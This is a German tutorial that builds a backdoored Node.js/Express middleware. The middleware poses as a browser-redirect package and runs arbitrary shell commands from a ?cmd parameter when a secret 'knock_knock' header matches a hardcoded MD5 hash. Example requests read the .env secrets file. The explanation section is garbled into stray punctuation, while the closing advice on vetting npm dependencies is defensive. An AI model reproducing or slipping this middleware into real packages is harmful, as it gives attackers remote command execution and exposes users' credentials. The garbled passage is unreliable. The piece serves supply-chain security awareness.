Kennen Sie Ihren Feind: Erstellen Sie eine Node.js-Hintertür

Was ist eine Hintertür?

1. Schädlicher Code, der in ein angegriffenes System eingebettet und auf diesem ausgeführt wird
2. Ein offener Kommunikationskanal, über den ein Angreifer Befehle an eine Hintertür senden und einen Remotecomputer steuern kann.

Warum brauchen wir child_process?

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

Wie kombiniere ich die Exec-Funktion mit dem HTTP-Server?

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

Schadcode

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.

• 78% der Schwachstellen befinden sich in indirekten Abhängigkeiten, was den Prozess der Beseitigung solcher Schwachstellen erschwert.
• Innerhalb von 2 Jahren haben die Sicherheitslücken in Bibliotheken um 88% zugenommen.
• 81% der Befragten sind der Meinung, dass Entwickler selbst für die Sicherheit verantwortlich sein sollten. Sie glauben außerdem, dass die Entwickler darauf nicht gut vorbereitet sind.

Ergebnisse: Wie schützen Sie sich vor Hintertüren?

• Verwenden Sie bekannte und unterstützte Bibliotheken.
• Beteiligen Sie sich am Gemeinschaftsleben und helfen Sie denen, die Bibliotheken unterstützen. Die Hilfe kann das Schreiben von Code oder die finanzielle Unterstützung von Projekten umfassen.
• Verwenden Sie NQP , um die neuen Abhängigkeiten Ihres Projekts zu analysieren.
• Verwenden Sie Snyk, um sich über Schwachstellen auf dem Laufenden zu halten und Ihre Projekte zu überwachen.
• Analysieren Sie den Code der verwendeten Abhängigkeiten, der in npm gespeichert ist. Beschränken Sie sich nicht darauf, Code von GitHub oder anderen ähnlichen Systemen anzuzeigen.